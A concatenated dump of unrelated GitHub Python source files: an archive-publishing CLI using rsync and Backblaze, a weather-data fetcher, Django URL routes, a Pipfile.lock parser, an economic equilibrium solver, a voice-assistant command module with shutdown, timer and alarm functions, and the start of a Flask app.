for your password when rsyncing starts.\n    Example:\n        $ ddrpubcopy mezzanine,transcript /var/www/media/ddr/ddr-test-123 \\\\\n            /media/USBHARDDRIVE --rsync=USER@HOST:/var/www/media\n    \"\"\"\n    # validate inputs\n    if fileroles == 'all':\n        roles = identifier.VALID_COMPONENTS['role']\n    else:\n        roles = fileroles.replace(' ','').split(',')\n        for role in roles:\n            if role not in identifier.VALID_COMPONENTS['role']:\n                valid_roles = ','.join(identifier.VALID_COMPONENTS['role'])\n                click.echo(f'ERROR: File role \"{role}\" is invalid.')\n                click.echo(f'Valid roles: {valid_roles}, or all')\n                sys.exit(1)\n    sourcedir = Path(sourcedir)\n    destbase = Path(destbase)\n    if destbase == sourcedir:\n        click.echo('ERROR: Source and destination are the same!')\n        sys.exit(1)\n    try:\n        sourcedir_oi = identifier.Identifier(path=sourcedir)\n        cidentifier = sourcedir_oi.collection()\n    except:\n        click.echo('ERROR: Source dir must be part of a DDR collection.')\n        sys.exit(1)\n    # b2\n    B2KEYID = os.environ.get('B2KEYID')\n    B2APPKEY = os.environ.get('B2APPKEY')\n    B2BUCKET = os.environ.get('B2BUCKET')\n    if b2sync:\n        if not (B2KEYID and B2APPKEY and B2BUCKET):\n            click.echo(\n                'ERROR: --b2sync requires environment variables ' \\\n                'B2KEYID, B2APPKEY, B2BUCKET'\n            )\n            sys.exit(1)\n        click.echo('Backblaze: authenticating')\n        click.echo(f'  B2BUCKET {B2BUCKET}')\n        click.echo(f'  B2APPKEY ...{B2APPKEY[-6:]}')\n        click.echo(f'  B2KEYID  ...{B2KEYID[-6:]}')\n        try:\n            backblaze = storage.Backblaze(B2KEYID, B2APPKEY, B2BUCKET)\n        except Exception as err:\n            click.echo(f'ERROR: {err}')\n            sys.exit(1)\n        \n    # prepare\n    started = datetime.now()\n    LOG = destbase / 'ddrpubcopy.log'\n    # Note: Files from subdirectories of a collection will all go to a single\n    # collection tmpdir\n    destdir = destbase / cidentifier.id\n    # if collection dir doesn't exist in destdir, mkdir\n    if not destdir.exists():\n        destdir.mkdir(parents=True)\n    \n    # do the work\n    logprint(LOG, f'Finding files')\n    files = find_files(sourcedir, LOG)\n    logprint(LOG, f'found {len(files)}')    \n    logprint(LOG, 'Filtering: {}'.format(','.join(roles)))\n    to_copy = filter_files(files, roles, force, LOG)\n    if to_copy:\n        num = len(to_copy)\n        for n,path_status in enumerate(\n                rsync_to_tmpdir(to_copy, cidentifier.path_abs(), destdir, LOG)\n        ):\n            path,status = path_status\n            if status != 'exists':\n                logprint(LOG, f'{n}/{num} {status} {path}')\n        num_files = len([f for f in destdir.iterdir()])\n        logprint(LOG, f'{num_files} files in {destdir}')\n        if b2sync:\n            logprint(LOG, f'Backblaze: syncing {destdir}')\n            for line in backblaze.sync_dir(destdir, basedir=cidentifier.id):\n                # b2sdk output is passed to STDOUT\n                pass\n        if rsync:\n            for output in rsync_to_target(destdir, rsync, LOG):\n                if output:\n                    logprint(LOG, output)\n    finished = datetime.now()\n    elapsed = finished - started\n    logprint(LOG, 'DONE!')\n    logprint_nots(LOG, '%s elapsed' % elapsed)\n\n\ndef dtfmt(dt: datetime) -> str:\n    \"\"\"Consistent date format.\n    \"\"\"\n    return dt.strftime('%Y-%m-%dT%H:%M:%S.%f')\n\ndef logprint(filename: Path, msg: str):\n    \"\"\"Print to log file and console, with timestamp.\n    \"\"\"\n    msg = '%s - %s\\n' % (dtfmt(datetime.now()), msg)\n    fileio.append_text(msg, str(filename))\n    click.echo(msg.strip('\\n'))\n\ndef logprint_nots(filename: Path, msg: str):\n    \"\"\"Print to log file and console, no timestamp.\n    \"\"\"\n    msg = '%s\\n' % msg\n    fileio.append_text(msg, str(filename))\n    click.echo(msg.strip('\\n'))\n\ndef _subproc(cmd):\n    \"\"\"Run a command and yield stdout as it appears\n    \"\"\"\n    popen = subprocess.Popen(cmd, stdout=subprocess.PIPE, universal_newlines=True)\n    for stdout_line in iter(popen.stdout.readline, \"\"):\n        yield stdout_line\n    popen.stdout.close()\n    return_code = popen.wait()\n    if return_code:\n        raise subprocess.CalledProcessError(return_code, cmd)\n\ndef find_files(sourcedir: Path, LOG) -> List[Path]:\n    \"\"\"List files using git-annex-find.\n    \n    Only includes files present in local filesystem.\n    This avoids rsync errors for missing files.\n    \"\"\"\n    os.chdir(sourcedir)\n    cmd = 'git annex find'\n    return [\n        Path(path.strip())\n        for path in [\n            line for line in _subproc(cmd.split())\n        ]\n        if path\n    ]\n\ndef filter_files(files: List[Path],\n                 roles: List[str],\n                 force: bool,\n                 LOG: Path) -> List[Path]:\n    \"\"\"Binary and access files for each File in roles\n    \"\"\"\n    num_files_total = len(files)\n    logprint(LOG, f'{num_files_total} collection files')\n    # load objects\n    # extract file IDs from list of files, rm duplicates\n    oids = sorted(list(set([\n        os.path.splitext(os.path.basename(\n            str(path).replace(config.ACCESS_FILE_SUFFIX, '')\n        ))[0]\n        for path in files\n    ])))\n    num_objects_total = len(oids)\n    oidentifiers = [\n        oi\n        for oi in [\n            identifier.Identifier(oid, config.MEDIA_BASE)\n            for oid in oids\n        ]\n        if oi.idparts['role'] in roles\n    ]\n    parents = {\n        oid: oi.object()\n        for oid,oi in docstore._all_parents(oidentifiers).items()\n    }\n    publishable = [\n        x['identifier'].object()\n        for x in docstore.publishable(oidentifiers, parents)\n        if x['action'] == 'POST'\n    ]\n    num_objects_publishable = len(publishable)\n    logprint(LOG, f'{num_objects_publishable}/{num_objects_total} publishable objects')\n    # list binaries and access files\n    binaries = [\n        Path(o.path_rel) for o in publishable if Path(o.path_abs).exists()\n    ]\n    accesses = [\n        Path(o.access_rel) for o in publishable if Path(o.access_abs).exists()\n    ]\n    paths = sorted(list(set(binaries + accesses)))\n    num_files_tocopy = len(paths)\n    logprint(LOG, f'{num_files_tocopy}/{num_files_total} publishable files')\n    return paths\n\ndef rsync_to_tmpdir(to_copy: List[Path],\n                collection_path: Path,\n                destdir: Path,\n                LOG: Path) -> List[str]:\n    \"\"\"Rsync files from collection to S3-style bucket tmpdir\n    \n    Skip files already present in destdir\n    \"\"\"\n    os.chdir(collection_path)\n    errs = []\n    for n,f in enumerate(to_copy):\n        src = collection_path / f\n        src = f\n        dest = destdir / f.name\n        if dest.exists():\n            yield dest,'exists'\n        else:\n            cmd = 'rsync --copy-links %s %s/' % (src, destdir)\n            for x in _subproc(cmd.split()):\n                pass\n            yield dest,'rsync'\n\ndef rsync_to_target(\n        tmpdir: Path,\n        target: str,\n        LOG: Path) -> List[str]:\n    \"\"\"Rsync from tmpdir/COLLECTIONID to target\n    \"\"\"\n    os.chdir(tmpdir)\n    cmd = f'rsync -avz {tmpdir} {target}'\n    logprint(LOG, cmd)\n    for x in _subproc(cmd.split()):\n        yield x\n","repo_name":"denshoproject/ddr-cmdln","sub_path":"ddr/DDR/cli/ddrpubcopy.py","file_name":"ddrpubcopy.py","file_ext":"py","file_size_in_byte":9546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70606238180","text":"import requests\nimport json\nfrom geopy.geocoders import Nominatim\nfrom dotenv import load_dotenv\nimport os\nimport pandas as pd\nfrom utils import time_difference_correction\n\nload_dotenv()\n\n# Load Meteostat API credentials from .env file\napi_key = os.environ['Meteostats_API_KEY']\napi_host = os.environ['Meteostats_API_HOST']\n\n# Create a pandas Timedelta object of 30 days\nONE_MONTH = pd.Timedelta('30 days')\n\ndef max_30_days_timedeltas(df: pd.DataFrame) -> pd.DataFrame:\n    \"\"\"This function takes a pandas dataframe and return another one where the time difference between the start and\n    end dates is limited to 30 days or less, as the API doesn't allow requests for longer time periods\"\"\"\n    # List to store new rows\n    new_rows = []\n    for _, row in df.iterrows():\n        delta = row['end_date'] - row['start_date']\n        # If delta is greater than 30 days, then we split the delta in parts no larger than 30 days\n        if delta > ONE_MONTH:\n            curr_date = row['start_date']\n            while curr_date < row['end_date']:\n                new_end = min(curr_date + ONE_MONTH, row['end_date'])\n                new_rows.append([curr_date, new_end, row['location']])\n                curr_date = new_end + pd.Timedelta('1 day')\n        else:\n            new_rows.append([row['start_date'], row['end_date'], row['location']])\n    new_df = pd.DataFrame(new_rows, columns=df.columns)\n    return new_df\n\ndef lat_long_location(location_name: str):\n    \"\"\"This function takes a location name and returns its latitude and longitude coordinates using Geopy\"\"\"\n    # Creating a geolocator object using Nominatim\n    geolocator = Nominatim(user_agent='my_application')\n    # Getting the location object\n    location = geolocator.geocode(location_name)\n    # Extracting the latitude and longitude coordinates from the location object\n    latitude = location.latitude\n    longitude = location.longitude\n    return latitude, longitude\n\ndef api_call_nearest_station(latitude: float, longitude: float):\n    \"\"\"This function takes a latitude and longitude coordinates of a location and makes an API call to Meteostat API to get the ID of the nearest weather station\"\"\"\n    # Define the API endpoint and set the query parameters\n    url = \"https://meteostat.p.rapidapi.com/stations/nearby\"\n    querystring = {\"lat\":latitude,\"lon\":longitude, \"radius\": 1000000}\n    # Set the headers for the API request\n    headers = {\n        \"X-RapidAPI-Key\": api_key,\n        \"X-RapidAPI-Host\": api_host\n    }\n    # Create a requests session and make the API call\n    with requests.Session() as session:\n        response = session.get(url, headers=headers, params=querystring)\n    # Extract the station ID and name for the nearest weather station from the API response\n    stations = json.loads(response.text)['data']\n    stations_dict = {station['id']: station['name']['en'] for station in stations}\n    return stations_dict\n\ndef api_call_weather_data(stations_dict: dict, start_date: str, end_date: str):\n    \"\"\"Calls the Meteostat API to get hourly weather data for a list of stations within a specified date range\"\"\"\n    url = \"https://meteostat.p.rapidapi.com/stations/hourly\"\n    with requests.Session() as session:\n        for station in stations_dict.keys():\n            querystring = {\"station\":station,\"start\":start_date,\"end\":end_date}\n            headers = { \"X-RapidAPI-Key\": api_key,\n                        \"X-RapidAPI-Host\": api_host }\n            print(querystring)\n            response = session.get(url, headers=headers, params=querystring)\n            weather_data = json.loads(response.text)['data']\n            if weather_data:\n                station_id = station\n                station_name = stations_dict[station]\n                return weather_data, station_id, station_name\n\ndef dict_weather_code():\n    dict_weather_code = {1:'Clear', 2:'Fair', 3:'Cloudy', 4:'Overcast', 5:'Fog', 6:'Freezing Fog', 7:'Light Rain',\\\n                         8:'Rain', 9:'Heavy Rain', 10:'Freezing Rain', 11:'Heavy Freezing Rain', 12:'Sleet',\\\n                         13:'Heavy Sleet', 14:'Light Snowfall', 15:'Snowfall', 16:'Heavy Snowfall', 17:'Rain Shower',\\\n                         18:'Heavy Rain Shower', 19:'Sleet Shower', 20:'Heavy Sleet Shower', 21:'Snow Shower', 22:'Heavy Snow Shower',\\\n                         23:'Lightning', 24:'Hail', 25:'Thunderstorm', 26:'Heavy Thunderstorm', 27:'Storm'}\n    return dict_weather_code\n\ndef get_weather_data():\n    # Read the location log file to obtain the start and end dates for each location\n    df = pd.read_excel('files/work_files/weather_work_files/location_log.xlsx')\n\n    # Filter out any rows with end dates greater than 30 days ago\n    df = max_30_days_timedeltas(df)\n\n    # Define the column names for the weather data DataFrame\n    col_names = ['location', 'closest_station_id', 'closest_station_name', 'utc_timestamp', 'temperature',\n                 'dew_point', 'relative_humidity_%', 'precipitation', 'snow_depth', 'wind_direction', 'wind_speed',\n                 'peak_wind_gust', 'sea_level_air_pressure', 'sunshine_total_time','weather_condition_code']\n\n    # Create an empty DataFrame to store the weather data\n    df_weather = pd.DataFrame(columns=col_names, index=range(0,0))\n\n    # Read in the alreadu processed weather data\n    df_weather_processed = pd.read_csv('files/processed_files/weather_processed.csv', sep = '|')\n\n    # Iterate over each row in the location log file\n    for _, row in df.iterrows():\n\n        # Check if the end date for this location has already been processed\n        if (pd.to_datetime(df_weather_processed['utc_timestamp']) == row['end_date']).any():\n            continue\n        # Retrieve the necessary information for this location\n        location_name = row['location']\n        start_date = row['start_date'].strftime(\"%Y-%m-%d\")\n        end_date = row['end_date'].strftime(\"%Y-%m-%d\")\n        latitude, longitude = lat_long_location(location_name)\n        stations_dict = api_call_nearest_station(latitude, longitude)\n        weather_data, station_id, station_name = api_call_weather_data(stations_dict, start_date, end_date)\n\n        # Convert the weather data for this location into a DataFrame and append it to the main DataFrame\n        hourly_data = []\n        for data_point in weather_data:\n            hourly_data.append([location_name, station_id,station_name,data_point['time'],data_point['temp'],\n                                data_point['dwpt'],data_point['rhum'],data_point['prcp'],data_point['snow'],\n                                data_point['wdir'],data_point['wspd'],data_point['wpgt'],data_point['pres'],\n                                data_point['tsun'],data_point['coco']])\n        hourly_df = pd.DataFrame(hourly_data, columns=col_names)\n        df_weather = pd.concat([df_weather, hourly_df], ignore_index=True)\n\n    # Add additional columns to the weather data DataFrame\n    df_weather['weather_assessment'] = df_weather['weather_condition_code'].map(dict_weather_code())\n    df_weather['utc_timestamp'] = pd.to_datetime(df_weather['utc_timestamp'])\n    df_weather['tz_timestamp'] = df_weather['utc_timestamp'].apply(lambda x: time_difference_correction(x))\n\n    # Combine the newly processed data with the existing data and remove any duplicate rows\n    df_weather = pd.concat([df_weather_processed, df_weather], ignore_index=True)\n    df_weather.drop_duplicates(inplace=True)\n\n    # Save to a CSV file\n    df_weather.to_csv('files/processed_files/weather_processed.csv', sep = '|', index=False)\n","repo_name":"VaHerinckx/LifeLog_Project","sub_path":"src/weather_processing.py","file_name":"weather_processing.py","file_ext":"py","file_size_in_byte":7529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10254571292","text":"\nfrom django.contrib import admin\nfrom django.urls import path, include\n\n\nurlpatterns = [\n    path(\"user/\", include(\"user.urls\", namespace=\"user\")),\n    path(\"\", include(\"room.urls\", namespace=\"room\")),\n    path(\"admin/site\", admin.site.urls),\n    path(\"__debug__/\", include(\"debug_toolbar.urls\")),\n]\n","repo_name":"DevSpaciX/spa_chat","sub_path":"spa_chat/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42705630987","text":"#!/usr/bin/env python\n#\nimport os\nimport os.path\n\nfn = '/tmp/os.test.txt'\n\nif os.path.isfile(fn):\n\tf1 = open(fn,'a+')\n\nwhile True:\n\tx = raw_input('Enter a entry : ')\n\tif x == 'q' or x == 'quit':\n\t\tbreak\n\tf1.write(x + '\\n')\nf1.flush()\nf1.close()\n","repo_name":"santilong/learnpython3.5","sub_path":"os_path.py","file_name":"os_path.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33304586711","text":"\"\"\"\nSupport for Pipenv.lock file\n\"\"\"\n\nfrom typing import List\nfrom json import loads\n\n\ndef collect_locked_dependencies(root_dir: str) -> List[str]:\n    collected_dependencies: List[str] = []\n\n    with open(f'{root_dir}/Pipfile.lock', 'r') as pipenv_file:\n        pipenv = loads(pipenv_file.read())\n\n        if \"default\" not in pipenv:\n            raise Exception('Incorrectly formatted Pipfile.lock, missing \"default\" section')\n\n        pipfile_dependencies: dict = pipenv['default']\n\n        for name, data in pipfile_dependencies.items():\n            dependency_string = '{name}{version}'.format(name=name, version=data['version'])\n\n            if \"markers\" in data and data['markers']:\n                dependency_string += '; {markers}'.format(markers=data['markers'])\n\n            collected_dependencies.append(dependency_string)\n\n    return collected_dependencies\n","repo_name":"riotkit-org/riotkit.pbs","sub_path":"riotkit/pbs/pipenv.py","file_name":"pipenv.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"43810134350","text":"import scipy\r\nfrom dolo import colored\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom .shocks import inject_process\r\nfrom dolo import improved_time_iteration, time_iteration, ergodic_distribution\r\n\r\nfrom .shocks import discretize_idiosyncratic_shocks\r\n\r\n\r\nclass Equilibrium:\r\n    def __init__(self, aggmodel, m, μ, dr, X, S=None):\r\n        self.m = m\r\n        self.μ = μ\r\n        self.dr = dr\r\n        self.x = np.concatenate(\r\n            [\r\n                e[None, :, :]\r\n                for e in [\r\n                    dr(i, dr.endo_grid.nodes)\r\n                    for i in range(max(dr.exo_grid.n_nodes, 1))\r\n                ]\r\n            ],\r\n            axis=0,\r\n        )\r\n        self.X = X\r\n        self.S = S\r\n        self.c = dr.coefficients\r\n\r\n        self.controls = np.concatenate([e.ravel() for e in (self.x, X)])\r\n        # states contain only endogenous states\r\n        if aggmodel.features[\"with-aggregate-states\"]:\r\n            self.states = np.concatenate([e.ravel() for e in (μ, S)])\r\n        else:\r\n            self.states = np.concatenate([e.ravel() for e in (μ)])\r\n        self.aggmodel = aggmodel\r\n\r\n    # backward compatibility\r\n    @property\r\n    def y(self):\r\n        return self.X\r\n\r\n    def as_df(self):\r\n        model = self.aggmodel.model\r\n        eq = self\r\n        exg = np.column_stack([range(eq.dr.exo_grid.n_nodes), eq.dr.exo_grid.nodes])\r\n        edg = np.column_stack([eq.dr.endo_grid.nodes])\r\n        N_m = exg.shape[0]\r\n        N_s = edg.shape[0]\r\n        ssg = np.concatenate(\r\n            [exg[:, None, :].repeat(N_s, axis=1), edg[None, :, :].repeat(N_m, axis=0)],\r\n            axis=2,\r\n        ).reshape((N_m * N_s, -1))\r\n        x = np.concatenate(\r\n            [eq.dr(i, edg) for i in range(max(eq.dr.exo_grid.n_nodes, 1))], axis=0\r\n        )\r\n        import pandas as pd\r\n\r\n        cols = (\r\n            [\"i_m\"]\r\n            + model.symbols[\"exogenous\"]\r\n            + model.symbols[\"states\"]\r\n            + [\"μ\"]\r\n            + model.symbols[\"controls\"]\r\n        )\r\n        df = pd.DataFrame(np.column_stack([ssg, eq.μ.ravel(), x]), columns=cols)\r\n        return df\r\n\r\n\r\ndef transition_residual(\r\n    hmodel,\r\n    m0: \"vector\",\r\n    S0: \"vector\",\r\n    X0: \"vector\",\r\n    p=None,\r\n):\r\n\r\n    if hmodel.features[\"with-aggregate-states\"]:\r\n        if p is None:\r\n            p = hmodel.calibration[\"parameters\"]\r\n        return S0 - hmodel.𝒢(m0, S0, X0, m0, p)\r\n    else:\r\n        raise Exception(\r\n            \"The considered model does not include any valid aggregate transition equation.\"\r\n        )\r\n\r\n\r\ndef equilibrium(\r\n    hmodel,\r\n    m0: \"vector\",\r\n    S0=None,\r\n    X0: \"vector\" = None,\r\n    p=None,\r\n    dr0=None,\r\n    grids=None,\r\n    verbose=False,\r\n    return_equilibrium=True,\r\n):\r\n    if p is None:\r\n        p = hmodel.calibration[\"parameters\"]\r\n\r\n    if S0 is None:\r\n        q0 = hmodel.projection(m0, X0, p)\r\n    else:\r\n        q0 = hmodel.projection(m0, S0, X0, p)\r\n\r\n    dp = inject_process(q0, hmodel.model.exogenous)\r\n\r\n    sol = time_iteration(hmodel.model, dr0=dr0, dprocess=dp, maxit=10, verbose=verbose)\r\n    sol = improved_time_iteration(\r\n        hmodel.model, dr0=sol.dr, dprocess=dp, verbose=verbose\r\n    )\r\n    dr = sol.dr\r\n\r\n    if grids is None:\r\n        exg, edg = grids = dr.exo_grid, dr.endo_grid\r\n    else:\r\n        exg, edg = grids\r\n\r\n    Π0, μ0 = ergodic_distribution(hmodel.model, dr, exg, edg, dp)\r\n\r\n    s = edg.nodes\r\n    if exg.n_nodes == 0:\r\n        nn = 1\r\n        μμ0 = μ0.data[None, :]\r\n    else:\r\n        nn = exg.n_nodes\r\n        μμ0 = μ0.data\r\n\r\n    xx0 = np.concatenate([e[None, :, :] for e in [dr(i, s) for i in range(nn)]], axis=0)\r\n    res = hmodel.𝒜(grids, m0, μμ0, xx0, X0, m0, X0, p, S0=S0, S1=S0)\r\n    if return_equilibrium:\r\n        return (res, sol, μ0, Π0)\r\n    else:\r\n        return res\r\n\r\n\r\ndef find_steady_state(hmodel, dr0=None, verbose=True, distribs=None, return_fun=False):\r\n\r\n    m0 = hmodel.calibration[\"exogenous\"]\r\n    X0 = hmodel.calibration[\"aggregate\"]\r\n    p = hmodel.calibration[\"parameters\"]\r\n\r\n    if dr0 is None:\r\n        if verbose:\r\n            print(\"Computing Initial Rule... \", end=\"\")\r\n        dr0 = hmodel.get_starting_rule()\r\n        if verbose:\r\n            print(colored(\"done\", \"green\"))\r\n\r\n    if verbose:\r\n        print(\"Computing Steady State...\", end=\"\")\r\n\r\n    if distribs is None:\r\n        dist = [(1.0, {})]\r\n        if not hmodel.features[\"ex-ante-identical\"]:\r\n            dist = distribs = discretize_idiosyncratic_shocks(hmodel.distribution)\r\n    else:\r\n        dist = distribs\r\n\r\n    if hmodel.features[\"with-aggregate-states\"]:\r\n        S0 = hmodel.calibration[\"states\"]\r\n        n_S = len(S0)\r\n        n_X = len(X0)\r\n\r\n        def fun(u):\r\n            res_X = X0 * 0\r\n            for w, kwargs in dist:\r\n                hmodel.model.set_calibration(**kwargs)\r\n                res_X += w * equilibrium(\r\n                    hmodel,\r\n                    m0,\r\n                    S0=u[:n_S],\r\n                    X0=u[n_S:],\r\n                    dr0=dr0,\r\n                    return_equilibrium=False,\r\n                )\r\n            res_S = transition_residual(hmodel, m0, u[:n_S], u[n_S:])\r\n            res = np.concatenate((res_S, res_X))\r\n            if verbose == \"full\":\r\n                print(f\"Value at {u} | {res}\")\r\n            return res\r\n\r\n        Y0 = np.concatenate((S0, X0))\r\n        if return_fun:\r\n            return (fun, Y0)\r\n\r\n        solution = scipy.optimize.root(fun, x0=Y0)\r\n    else:\r\n\r\n        def fun(u):\r\n            res = X0 * 0\r\n            for w, kwargs in dist:\r\n                hmodel.model.set_calibration(**kwargs)\r\n                res += w * equilibrium(\r\n                    hmodel, m0, X0=u, dr0=dr0, return_equilibrium=False\r\n                )\r\n            if verbose == \"full\":\r\n                print(f\"Value at {u} | {res}\")\r\n            return res\r\n\r\n        if return_fun:\r\n            return (fun, X0)\r\n\r\n        solution = scipy.optimize.root(fun, x0=X0)\r\n\r\n    if not solution.success:\r\n        if verbose:\r\n            print(colored(\"failed\", \"red\"))\r\n    else:\r\n        if verbose:\r\n            print(colored(\"done\", \"green\"))\r\n\r\n    # grid_m = model.exogenous.discretize(to='mc', options=[{},{'N':N_mc}]).nodes\r\n    # grid_s = model.get_grid().nodes\r\n    #\r\n    Y_ss = solution.x  # vector of aggregate endogenous variables\r\n    m_ss = m0  # vector fo aggregate exogenous\r\n    eqs = []\r\n    if hmodel.features[\"with-aggregate-states\"]:\r\n        for w, kwargs in dist:\r\n            hmodel.model.set_calibration(**kwargs)\r\n            (res_ss, sol_ss, μ_ss, Π_ss) = equilibrium(\r\n                hmodel,\r\n                m_ss,\r\n                X0=Y_ss[n_S:],\r\n                p=p,\r\n                dr0=dr0,\r\n                S0=Y_ss[:n_S],\r\n                return_equilibrium=True,\r\n            )\r\n            μ_ss = μ_ss.data\r\n            dr_ss = sol_ss.dr\r\n            eqs.append(\r\n                [\r\n                    w,\r\n                    Equilibrium(\r\n                        hmodel, m_ss, μ_ss, sol_ss.dr, Y_ss[:n_S], S=Y_ss[:n_S]\r\n                    ),\r\n                ]\r\n            )\r\n    else:\r\n        for w, kwargs in dist:\r\n            hmodel.model.set_calibration(**kwargs)\r\n            (res_ss, sol_ss, μ_ss, Π_ss) = equilibrium(\r\n                hmodel, m_ss, X0=Y_ss, p=p, dr0=dr0, return_equilibrium=True\r\n            )\r\n            μ_ss = μ_ss.data\r\n            dr_ss = sol_ss.dr\r\n            eqs.append([w, Equilibrium(hmodel, m_ss, μ_ss, sol_ss.dr, Y_ss)])\r\n\r\n    if distribs is None:\r\n        return eqs[0][1]\r\n    else:\r\n        return eqs\r\n","repo_name":"EconForge/dolark.py","sub_path":"dolark/equilibrium.py","file_name":"equilibrium.py","file_ext":"py","file_size_in_byte":7599,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"23872238897","text":"import os\nimport ctypes\nimport sys\nimport re\nimport betterLogging as log\nimport betterSmartAssist as BST\nimport threading\nimport json\nfrom betterDateTime import*\n\ndef extract_command_and_parameters(message: str):\n    match = re.search(r'START:(.*):END', message)\n    if match:  return match.group(1)\n    else: return None\n\n\ndef execute_encoded_message(response):\n    full_executor = extract_command_and_parameters(response)\n    if not full_executor: return response \n    split_executor = full_executor.split(\">\")\n    command = split_executor[0].lower()\n    parameters = split_executor[1:]\n    if command.lower() == \"system\":\n        command_run = parameters[0]\n        if command_run.lower() == \"shutdown\":\n            \n            try:\n                log.info(r\"shutdown ran\")\n                #ctypes.windll.shell32.ShellExecuteW(None, \"runas\", sys.executable, __file__, None, 1)\n                os.system(\"shutdown /s /t 1\")\n            except:\n                log.error(r\"shutdown throw a error so something happend\")\n                ctypes.windll.shell32.ShellExecuteW(None, \"runas\", sys.executable, __file__, None, 1)\n\n        if command_run.lower() == \"restart\":\n            \n            try:\n                #ctypes.windll.shell32.ShellExecuteW(None, \"runas\", sys.executable, __file__, None, 1)\n                os.system(\"shutdown /r /t 1\")\n            except:\n                ctypes.windll.shell32.ShellExecuteW(None, \"runas\", sys.executable, __file__, None, 1)\n    if command.lower() == \"timer\":\n        name=(parameters[0])\n        time=int(parameters[1])\n        timer_thread=threading.Thread(target=BST.TimerClass.setTimer(name,time))\n        timer_thread.start()\n        return response.replace('START:' + full_executor + ':END', '')\n    if command.lower() == \"killtimer\":\n        name=(parameters[0])\n        BST.TimerClass.cancelTimer(name)\n    if command.lower() == \"alarm\":BST.AlarmClass.SetAlarm(parameters[0])\n\n#this were the old method for running functions ends and were the new method begins\ndef DateTime():return get_datetime(00, 'US/Pacific')\nfunctions=[\n    {\"name\": \"DateTime\",\n        \"description\": \"Provides the date and time for you to tell the user\",\n\n        \"parameters\": {\n            \"type\": \"object\",\n            \"properties\": {},\n            \n        }\n    },\n    {\n        \"name\": \"system_command\",\n        \"description\": \"Handle all system actions\",\n        \"parameters\": {\n            \"type\": \"object\",\n            \"properties\": {\n                \"action\": {\n                    \"type\": \"string\",\n                    \"description\": \"System action to be performed, e.g. shutdown, restart, sleep\"\n                }\n            },\n            \"required\": [\"action\"]\n        }\n    },\n    {\n        \"name\": \"timer\",\n        \"description\": \"Set a timer\",\n        \"parameters\": {\n            \"type\": \"object\",\n            \"properties\": {\n                \"name\": {\n                    \"type\": \"string\",\n                    \"description\": \"The name of the timer\"\n                },\n                \"time\": {\n                    \"type\": \"string\",\n                    \"description\": \"Time in seconds it must be a int\"\n                }\n            },\n            \n            \"required\": [\"name\",\"time\"]\n        }\n    },\n    {\n        \"name\": \"killTimer\",\n        \"description\": \"Cancel a timer\",\n        \"parameters\": {\n            \"type\": \"object\",\n            \"properties\": {\n                \"name\": {\n                    \"type\": \"string\",\n                    \"description\": \"The name of the timer to be cancelled\"\n                }\n            },\n            \"required\": [\"name\"]\n        }\n    },\n    {\n        \"name\": \"alarm\",\n        \"description\": \"Set an alarm\",\n        \"parameters\": {\n            \"type\": \"object\",\n            \"properties\": {\n                \"datetime\": {\n                    \"type\": \"string\",\n                    \"description\": f\"The desired date and time for the alarm, in this format example: 03:19 PM | 28 September, 2023(this has to be a actual date it can not be a day like today or a week day). here is the current date and time if needed {DateTime()}\"\n                }\n            },\n            \"required\": [\"datetime\"]\n        }\n    }\n]\n\ndef system_command(action):\n    action =ast.literal_eval(action)\n    action=action['action']\n    if action.lower() == \"shutdown\":\n        \n        try:\n            print(r\"shutdown ran\")\n            os.system(\"shutdown /s /t 1\")\n            print(\"shutdown\")\n        except:\n            print(r\"shutdown throw a error so something happend\")\n            ctypes.windll.shell32.ShellExecuteW(None, \"runas\", sys.executable, __file__, None, 1)\n\n    if action.lower() == \"restart\":\n        \n        try:\n            os.system(\"shutdown /r /t 1\")\n            log.debug(\"restart\")\n        except:\n            log.error(\"error with restart\")\n            #ctypes.windll.shell32.ShellExecuteW(None, \"runas\", sys.executable, __file__, None, 1)\n            action=f\"system command {action} ran\"\n    actions={\"action\":action}\n    return \"the system is shuting down tell the user\"\n","repo_name":"RanchMonster/ARIA","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":5072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23548067004","text":"import os\nfrom flask import (\n    Flask, flash, render_template,\n    redirect, request, session, url_for)\nfrom flask_pymongo import PyMongo\nfrom bson.objectid import ObjectId\nfrom werkzeug.security import generate_password_hash, check_password_hash\n\nif os.path.exists(\"env.py\"):\n    import env\n\napp = Flask(__name__)\n\napp.config[\"MONGO_DBNAME\"] = os.environ.get(\"MONGO_DBNAME\")\napp.config[\"MONGO_URI\"] = os.environ.get(\"MONGO_URI\")\napp.secret_key = os.environ.get(\"SECRET_KEY\")\n\nmongo = PyMongo(app)\n\n\n# ---------- Global functions: ----------\ndef find_user():\n    \"\"\"\n    Determines current user using the username value of the current session\n    user and returns the current user as a dict.\n    \"\"\"\n    current_user = mongo.db.users.find_one({\"username\": session[\"user\"]})\n    return current_user\n\n\ndef find_id():\n    \"\"\"\n    Determines the ObjectId value of the current user and returns it as a\n    string value.\n    \"\"\"\n    user_id = str(find_user()['_id'])\n    return user_id\n# ---------------------------------------\n\n@app.route(\"/\")\n@app.route(\"/home\")\ndef home():\n    pets = mongo.db.pet_types.find()\n    return render_template(\"index.html\", pets=pets)\n\n\n@app.route(\"/all_pets\")\ndef all_pets():\n    \"\"\"------------- Search All Recipes page -----------------------\"\"\"\n    pets = list(mongo.db.pets.find())\n    return render_template(\"all_pets.html\", pets=pets)\n    \n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n    \"\"\"------------- Log in -----------------------\"\"\"\n    if request.method == \"POST\":\n        # check if the username already exists in the database\n        existing_user = mongo.db.users.find_one(\n            {\"username\": request.form.get(\"username\").lower()}\n        )\n\n        if existing_user:\n            # check to see if hashed password matches user input\n            if 